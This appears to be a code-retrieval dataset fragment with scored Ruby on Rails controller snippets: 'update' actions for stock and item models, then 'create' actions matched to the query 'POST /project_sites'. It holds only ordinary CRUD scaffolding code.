"fc64ac3e50ba523c55c9c721bc25d7d9", "score": "0.62288135", "text": "def update\n respond_to do |format|\n if @stockist.update(stockist_params)\n format.html { redirect_to @stockist, notice: 'Stockist was successfully updated.' }\n format.json { render :show, status: :ok, location: @stockist }\n else\n format.html { render :edit }\n format.json { render json: @stockist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5161cf2ef1e33ca7baf91dd50e09331e", "score": "0.62267995", "text": "def update\n respond_to do |format|\n if @company_stock.update(company_stock_params)\n format.html { redirect_to @company_stock, notice: 'Company stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_stock }\n else\n format.html { render :edit }\n format.json { render json: @company_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7786a9bd8c9ff794bfede299a890ddc", "score": "0.6217111", "text": "def update\n @stocktype = Stocktype.find(params[:id])\n\n respond_to do |format|\n if @stocktype.update_attributes(params[:stocktype])\n format.html { redirect_to @stocktype, :notice => 'Stocktype was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stocktype.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "10e50f021b6081504ea5c1b47d26945a", "score": "0.62157625", "text": "def update\n if @item.update(item_params)\n render json: @item\n else\n render json: @item.errors\n end\n end", "title": "" }, { "docid": "ed557d0a348c3cf2ba56c7e3b5f2729a", "score": "0.62146443", "text": "def update\n cart=current_cart\n @line_item = LineItem.find(params[:id])\n inventory = Inventory.find(params[:inventory_id])\n\n\n respond_to do |format|\n if @line_item.update_attributes(:bk_qty=>@line_item.bk_qty)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b6ac322ac4f4202484575a06e0bce0c", "score": "0.620968", "text": "def update\n respond_to do |format|\n if @luxire_stock.update(luxire_stock_params)\n format.html { redirect_to @luxire_stock, notice: 'Luxire stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @luxire_stock }\n else\n format.html { render :edit }\n format.json { render json: @luxire_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4de8d067c151eda0c5d4fabee90dd31d", "score": "0.6209645", "text": "def update_rest\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dbe3704164700f78a7d2a1139a6b5e14", "score": "0.62069494", "text": "def update\n respond_to do |format|\n if @product_stock_update.update(product_stock_update_params)\n format.html { redirect_to @product_stock_update, notice: 'Product stock update was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_stock_update.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a9ac0cca19baea077f9fac4403d379c4", "score": "0.6205688", "text": "def update\n @cloth_item = ClothItem.find(params[:id])\n\n respond_to do |format|\n if @cloth_item.update_attributes(params[:cloth_item])\n format.html { redirect_to @cloth_item, notice: 'Cloth item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cloth_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a9fdd4b5babca0965fa6dd44462c43b", "score": "0.62026274", "text": "def update\n item = Item.find(item_params[:id])\n raise ActionController::RoutingError, 'Item Not Found' unless item\n if item.update(item_params.to_hash)\n render status: :ok, json: item.data\n else\n render status: :unprocessable_entity, json: { error: item.errors }\n end\n end", "title": "" }, { "docid": "4188eb38429113d50e4eccae966e25bc", "score": "0.6199413", "text": "def update\n respond_to do |format|\n if @item.update(item_params)\n format.json { head :no_content, status: 204 }\n else\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "246a3af5a0a9207c14009fdeecf0fdbd", "score": "0.6198473", "text": "def update_item\n if @item then\n if params['data']\n @item.update_column('data', params['data'])\n end\n if params['status']\n @item.update_column('status', params['status'])\n end\n ok_JSON_response\n else\n fail_JSON_response\n end\n end", "title": "" }, { "docid": "b841ad3cf525b2db3f32eda5a0a3d2db", "score": "0.6195054", "text": "def update\n @roomslot = Roomslot.find(params[:id], :readonly => false)\n\n respond_to do |format|\n if @roomslot.update_attributes(params[:roomslot])\n format.html { redirect_to timeslots_url}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roomslot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ad86069c4aff9679f350421451137db", "score": "0.6193265", "text": "def update\n respond_to do |format|\n if @goods_on_stock.update(goods_on_stock_params)\n format.html { redirect_to @goods_on_stock, notice: 'Goods on stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @goods_on_stock }\n else\n format.html { render :edit }\n format.json { render json: @goods_on_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33ecb4d538b12f70337bac6fd6a46bf6", "score": "0.6191935", "text": "def update\n @product = $product\n @store = $store\n @stock = Stock.find(params[:id])\n @stock.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock,\n notice: (crud_notice('updated', @stock) + \"#{undo_link(@stock)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "744860ae04b387d2634777796dd905db", "score": "0.6187309", "text": "def update\n if @api_item.update(api_item_params)\n @api_items = Item.order(:name)\n render :index\n else\n render json: @api_item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e6242db50ce030206d084ec86746c315", "score": "0.61869997", "text": "def update\n respond_to do |format|\n if @stockin.update(stockin_params)\n format.html { redirect_to @stockin, notice: 'Stockin was successfully updated.' }\n format.json { render :show, status: :ok, location: @stockin }\n else\n format.html { render :edit }\n format.json { render json: @stockin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62fe47db444b05fba6347f8bcca93feb", "score": "0.6186444", "text": "def update\n @item_lot = ItemLot.find(params[:id])\n\n respond_to do |format|\n if @item_lot.update_attributes(item_lot_params)\n format.html { redirect_to @item_lot, notice: 'Item lot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_lot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f466dffa1a7a944205a8d2d0372b360", "score": "0.6183525", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params.except(:count))\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "edf59228d151724373bd6f5d06620d29", "score": "0.6181696", "text": "def update\n respond_to do |format|\n if @stock_order.update(stock_order_params)\n format.html { redirect_to @stock_order, notice: (t 'stock_orders.title')+(t 'actions.created') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ba8d433c924c006c78ae8ffefe56185", "score": "0.6180569", "text": "def update\n respond_to do |format|\n if @shelf.update_attributes(params[:shelf])\n format.html { redirect_to @shelf, :notice => t('controller.successfully_updated', :model => t('activerecord.models.shelf')) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @shelf.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59bf480a6421978b7a99c137129d069d", "score": "0.6171681", "text": "def update\n #Event-b: grd1: product ∈ activeProducts, \n @stock_level = StockLevel.find(params[:id])\n\n respond_to do |format|\n #Event-b: act1: productlevels(product) ≔ {Floor ↦ floor,Backroom ↦ backroom,Warehouse ↦ warehouse}\n if @stock_level.update_attributes(params[:stock_level])\n format.html { redirect_to @stock_level, notice: 'Stock level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_level.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16bd994f6b436dc243c92b3db8a5fd32", "score": "0.61662215", "text": "def update\n respond_to do |format|\n if @stocking.update(update_stocking_params)\n format.html { redirect_to @stocking, notice: 'Stocking was successfully updated.' }\n format.json { render :show, status: :ok, location: @stocking }\n else\n format.html { render :edit }\n format.json { render json: @stocking.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e083a941842026e95c81f723d2c39153", "score": "0.61645424", "text": "def update\n respond_to do |format|\n if @item.update(size: item_params[\"size\"], itemType: item_params[\"itemType\"], quantity: item_params[\"quantity\"])\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d008156fcaa1be98979135ccc3d9f061", "score": "0.61563045", "text": "def update\n @stock_box = StockBox.find(params[:id])\n\n respond_to do |format|\n if @stock_box.update_attributes(params[:stock_box])\n format.html { redirect_to admin_stock_boxes_url, notice: 'Caixa de estoque atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_box.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
ed8f9e75289c76692aebd4be4a50bbe5
POST /project_sites POST /project_sites.json
[ { "docid": "13c240b18ace918eab1fa38915b10783", "score": "0.6903117", "text": "def create\n @project_site = ProjectSite.new(project_site_params)\n\n respond_to do |format|\n if @project_site.save\n format.html { redirect_to @project_site, notice: 'Project site was successfully created.' }\n format.json { render :show, status: :created, location: @project_site }\n else\n format.html { render :new }\n format.json { render json: @project_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "0295b48b9f3ea5f2ce47a8523c583e7a", "score": "0.6824445", "text": "def create_sites\n params[:sites].select { |hash| hash[:name].present? }.each do |hash|\n site = @project.sites.find_by(id: hash[:id])\n if site\n if hash[:name] == \"Default Site\"\n site.update(name: hash[:name])\n else\n site.update(name: hash[:name], short_name: nil)\n end\n else\n @project.sites.create name: hash[:name], user_id: current_user.id\n end\n end\n redirect_to settings_editor_project_path(@project)\n end", "title": "" }, { "docid": "63a83294a05289706ccfd15482a2f6bf", "score": "0.6722201", "text": "def create\n @projectsite = Projectsite.new(projectsite_params)\n\n respond_to do |format|\n if @projectsite.save\n format.html { redirect_to @projectsite, notice: 'Projectsite was successfully created.' }\n format.json { render :show, status: :created, location: @projectsite }\n else\n format.html { render :new }\n format.json { render json: @projectsite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f67234c49ea7487310b591a7c952d210", "score": "0.66448873", "text": "def create_project_site\n @site = \"\"\n parent.managed_repository do\n @site = Voeis::Site.new\n Voeis::Site.properties.each do |prop|\n if prop.name.to_s != \"id\"\n if !params[prop.name].nil?\n @site[prop.name.to_s] = params[prop.name.to_s]\n end #endif\n end#endif\n end#end loop\n begin\n @site.save\n rescue\n puts @site = {:errors => @site.errors}\n end\n end\n respond_to do |format|\n format_response(@site, format)\n end\n end", "title": "" }, { "docid": "f7918f509bcfc5e27bf5b7d46258b1c9", "score": "0.6559045", "text": "def create\n\n @project_website = ProjectWebsite.new(project_website_params(params[:project_website]))\n\n if @project_website.save\n render json: @project_website, status: :created, location: @project_website\n else\n render json: @project_website.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c6ab9fb8863bc23d4cc40f4adfb21a0e", "score": "0.64642626", "text": "def create_site(options)\n post(\"/sites\", options)\n end", "title": "" }, { "docid": "aa5489533a031deca6c8deae38d14f9f", "score": "0.64546514", "text": "def create\n \n respond_to do |format|\n if @site.save\n format.html { redirect_to root_url(subdomain: @site.subdomain), notice: 'Site was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ad8c261348a0ec31739e38b0cacdaeb", "score": "0.64524907", "text": "def create\n @site = current_user.sites.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to root_url(subdomain: @site.permalink), notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f19ecdcab84e4e90b105cfa4a2f6d8c", "score": "0.6409266", "text": "def create\n user_site = UserSite.create(user_site_params)\n render json: user_site\n end", "title": "" }, { "docid": "34a11d619a24287a7ed2a9bedd6c3da7", "score": "0.6384364", "text": "def create\n @user = current_user\n params[:site][:subdomain] = params[:site][:subdomain].parameterize\n @site = @user.sites.build(params[:site])\n params[:page][:position] = 1\n @page = @site.pages.build(params[:page])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to edit_page_url(@page, subdomain: @site.subdomain), notice: 'Site was successfully created.' }\n format.json { render json: root_url(subdomain: @site.subdomain), status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e1255044eecfc39b45cd738702291cd", "score": "0.63259006", "text": "def create\n @site = @project.sites.where(user: current_user).new(site_params)\n if @site.save\n redirect_to [@project, @site], notice: \"Site was successfully created.\"\n else\n render :new\n end\n end", "title": "" }, { "docid": "f852deeb2bcd282464bb903e30c1b4e5", "score": "0.6315842", "text": "def new\n @site = @project.sites.new\n end", "title": "" }, { "docid": "bccb6410049788ef3f68f6909f62dabf", "score": "0.62164795", "text": "def create\n @site = current_user.company.sites.build(params[:site])\n authorize! :create, @site\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to root_url(subdomain: @site.subdomain), notice: 'Property was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d1a10247cc8576323c76952988910e3", "score": "0.6176025", "text": "def create\n @site = Site.new(site_params)\n\n if params[:prioritize_urls]\n params[:prioritize_urls].each do |site_url|\n if site_url.empty? == false\n @site.site_urls.build(:url => site_url)\n end\n end\n end\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to sites_path, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e59a1e9b0c857157ca9d2a1709ec614c", "score": "0.61704016", "text": "def create\n @api_v1_site = Api::V1::Site.new(api_v1_site_params)\n\n respond_to do |format|\n if @api_v1_site.save\n format.html { redirect_to @api_v1_site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_site }\n else\n format.html { render :new }\n format.json { render json: @api_v1_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93f9ecd765b2fdc343a972378d812305", "score": "0.6141051", "text": "def create\n @site = current_user.sites.build(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c7bda2b0f85ebd6f424227c20b2542a", "score": "0.614089", "text": "def create\n @site_map = @sub_project.site_maps.build(site_map_params)\n\n respond_to do |format|\n if @site_map.save\n format.html { redirect_to project_sub_project_site_maps_path(@project, @sub_project), notice: 'Site map was successfully created.' }\n format.json { render :show, status: :created, location: @site_map }\n else\n format.html { render :new }\n format.json { render json: @site_map.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6ab6a6f2f8f132f4ec455869e56c7ee", "score": "0.61403686", "text": "def index\n @project_sites = ProjectSite.all\n end", "title": "" }, { "docid": "e6ab6a6f2f8f132f4ec455869e56c7ee", "score": "0.61403686", "text": "def index\n @project_sites = ProjectSite.all\n end", "title": "" }, { "docid": "c28729b453113cb4fd6ddc6c26f4d21a", "score": "0.6074856", "text": "def create\n # @site = params[:site]\n # @site['tags'] = []\n # @site['tags'] = params[:site][:tags].split(' ')\n @site = current_user.sites.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to sites_url, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fd2486ea454152693e192dab03010d1", "score": "0.6048484", "text": "def get_project_sites\n @site = \"\"\n parent.managed_repository do\n @site = Voeis::Site.all()\n end\n respond_to do |format|\n format_response(@site, format)\n end\n end", "title": "" }, { "docid": "2ec40d05b6ee63535ff3e3b44f28fd1b", "score": "0.60484225", "text": "def create\n @projects = Project.select(\"id, name, forks, watchers, owner, url, score\").order(\"score DESC\")\n respond_to do |format|\n params[:_projects][:urls] && ( @project = Project.create({:url => params[:_projects][:urls].split(\",\").first}) )\n unless @project.errors\n format.html { render action: \"index\", notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"index\", error: 'Invalid URL.' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6aa17920d7cd714c4a45bb59ba0e0afc", "score": "0.6012407", "text": "def create\n web_site = WebSite.new do |ws|\n ws.name = params[:web_site][:name]\n ws.description = params[:web_site][:description]\n ws.url = params[:web_site][:url]\n ws.user = current_user\n end.tap(&:save)\n \n respond_to do |format|\n format.json { render json: {data: web_site, message: {text: \"Web site '#{web_site.name}' was successfully created\", type: 'success'}}}\n end\n end", "title": "" }, { "docid": "3a5acdb353e7ded3a5c276aac43c1e6a", "score": "0.5987985", "text": "def create\n respond_to do |format|\n if @work_site.save\n format.html { redirect_to work_sites_path, notice: 'WorkSite was successfully created.' }\n format.json { render json: work_sites_path, status: :created, location: @work_site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c205a896ff4b999f4d05f469d7a3c3b3", "score": "0.59860873", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, :notice => 'Site was successfully created.' }\n format.json { render :json => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @site.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12133e5520c5d14ca8466e5bf70e58b6", "score": "0.5985912", "text": "def create\n @worksite = Worksite.new(params[:worksite])\n\n respond_to do |format|\n if @worksite.save\n format.html { redirect_to worksites_url, notice: 'Worksite was successfully created.' }\n format.json { render json: @worksite, status: :created, location: @worksite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @worksite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ccb4ded39e19d8b6d3e6ab5953da2e8", "score": "0.59761715", "text": "def create\n @user = current_user\n @site = @user.sites.find_by_subdomain!(request.subdomain)\n\n if @site.site_resources.maximum('position').nil?\n params[:site_resource][:position] = 1\n else\n params[:site_resource][:position] = @site.site_resources.maximum('position') + 1\n end\n\n @site_resource = @site.site_resources.build(params[:site_resource])\n\n respond_to do |format|\n if @site_resource.save\n format.html { redirect_to :back, notice: 'Site resource was successfully created.' }\n # format.json { render json: session[:return_to], status: :created, location: @site_resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4045ccbb43acb92e024413a16f82e223", "score": "0.59727496", "text": "def create\n @site = Site.new(@new_site)\n if @site.save\n SiteMetaCrawlerJob.perform_later @site\n\n render json: @site, status: :created, location: @site\n else\n\n render json: @site.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "540d5df3d9487df3ec183a11caed0d37", "score": "0.5971984", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, :notice => 'Site was successfully created.' }\n format.json { render :json => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @site.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57cc031341b338e080b0419633f5e10b", "score": "0.59350944", "text": "def create\n @origin_site = Origin::Site.new(origin_site_params)\n\n respond_to do |format|\n if @origin_site.save\n format.html { redirect_to @origin_site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @origin_site }\n else\n format.html { render :new }\n format.json { render json: @origin_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc521f936eff4cb336efb4cbf89e99e5", "score": "0.59248984", "text": "def create\n @institution = @navigation_context.institution\n return unless authorize_resource(@institution, CREATE_INSTITUTION_SITE)\n\n @site = @institution.sites.new(site_params)\n @sites = check_access(Site, READ_SITE)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to sites_path, notice: 'Site was successfully created.' }\n format.json { render action: 'show', status: :created, location: @site }\n else\n format.html { render action: 'new' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93630d6bbb6bb35554baf0d3b7edb3d2", "score": "0.59182733", "text": "def create_site_group(project_id, opts = {})\n post \"projects/#{project_id}/group/site\", opts\n end", "title": "" }, { "docid": "198e5a1f63bc4b74fa1a118f2508b384", "score": "0.5915077", "text": "def create\n @worksite = Worksite.new(worksite_params)\n\n respond_to do |format|\n if @worksite.save\n format.html { redirect_to @worksite, notice: 'Worksite was successfully created.' }\n format.json { render :show, status: :created, location: @worksite }\n else\n format.html { render :new }\n format.json { render json: @worksite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "223a390369a81ca6239fbc3296d31104", "score": "0.5912816", "text": "def update_project_site\n @site = \"\"\n begin\n if !params['id'].empty?\n parent.managed_repository do\n @site = Voeis::Site.get(params['id'].to_i)\n Voeis::Site.properties.each do |prop|\n if prop.name.to_s != \"id\"\n if !params[prop.name].nil? || !params[prop.name].empty?\n @site[prop.name.to_s] = params[prop.name.to_s]\n end #endif\n end#endif\n end#end loop\n @site.save!\n end #end repo\n end #endif\n rescue Exception => e\n @site=Hash.new\n @site[:errors] = e.message\n end #end rescue\n respond_to do |format|\n format_response(@site, format)\n end\n end", "title": "" }, { "docid": "dc3439174cf86e35dec119ffc36b7667", "score": "0.59027094", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc3439174cf86e35dec119ffc36b7667", "score": "0.59027094", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc3439174cf86e35dec119ffc36b7667", "score": "0.59027094", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc3439174cf86e35dec119ffc36b7667", "score": "0.59027094", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc3439174cf86e35dec119ffc36b7667", "score": "0.59027094", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc3439174cf86e35dec119ffc36b7667", "score": "0.59027094", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc3439174cf86e35dec119ffc36b7667", "score": "0.59027094", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43995bbdef2b7d47accb76ba1f0a3a22", "score": "0.58927196", "text": "def create\n @selected_site = Site.new(params[:site])\n\n respond_to do |format|\n if @selected_site.save\n format.html { redirect_to @selected_site, notice: 'Site was successfully created.' }\n format.json { render json: @selected_site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @selected_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bcbcfe6560ac5d972116bc419cdc40d7", "score": "0.58831006", "text": "def create\n @site = Site.new(site_params)\n if @site.slug.to_s.strip.empty?\n @site.slug = @site.name.parameterize\n end\n\n unless logged_in?\n logger.error(\"Only a logged-in admin can create a site\")\n render :json => {:errors => 'Not logged in'}, :status => :unauthorized\n return\n end\n\n unless current_user.has_role?(['Admin', 'SuperAdmin'])\n logger.error(\"Only an admin can create a site\")\n render :json => {:errors => 'Not an admin'}, :status => :unauthorized\n return\n end\n # SuperAdmins can create resources in any org\n unless current_user.has_role?('SuperAdmin')\n @site.organization = current_user.organization\n end\n \n if @site.save\n @site.site_features = params[:site_features].collect {|f| SiteFeature.create(feature: f)} unless params[:site_features].nil?\n render :show, status: :created, location: @site\n else\n logger.error(\"Errors: #{@site.errors.to_hash.to_json}\")\n # logger.debug(\"Raw request: #{request.body.read}\")\n\n render json: @site.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "eca1677d7fba29ea4d42aaffefb3e177", "score": "0.5879867", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eca1677d7fba29ea4d42aaffefb3e177", "score": "0.5879867", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eca1677d7fba29ea4d42aaffefb3e177", "score": "0.5879867", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eca1677d7fba29ea4d42aaffefb3e177", "score": "0.5879867", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f02525f1d0e0c6c3919125dea8bdb571", "score": "0.587466", "text": "def project_site_params\n params.require(:project_site).permit(:address, :city, :state_id, :zipcode, :access_code, :map_url)\n end", "title": "" }, { "docid": "557887e74a4fcfb5aad6ed218e3d9ec8", "score": "0.58589333", "text": "def create\n @project_site = ProjectSite.new(project_site_params)\n\n respond_to do |format|\n if @project_site.save\n @project_site_information = ProjectSiteInformation.last\n format.html { redirect_to @project_site, notice: 'Project site was successfully created.' }\n # format.json { render json: @project_site }\n format.json { render :show, status: :created, location: @project_site }\n format.js {render :file => \"/projects/show.js.erb\"}\n\n else\n format.html { render :new }\n format.json { render json: @project_site.errors, status: :unprocessable_entity }\n #added:\n format.js {render json: @project_site.errors, status: :unprocessable_entity}\n\n end\n end\n end", "title": "" }, { "docid": "e6100fedeb397e4dcb83570ccc62ae1c", "score": "0.5838678", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, :notice => 'Site was successfully created. Please allow a few moments for load time data to render.' }\n format.json { render :json => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @site.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d6739eee06bccf50441a5a01353fd22d", "score": "0.58289486", "text": "def create\n @user_site = UserSite.new(user_site_params)\n\n respond_to do |format|\n if @user_site.save\n format.html { redirect_to @user_site, notice: 'User site was successfully created.' }\n format.json { render :show, status: :created, location: 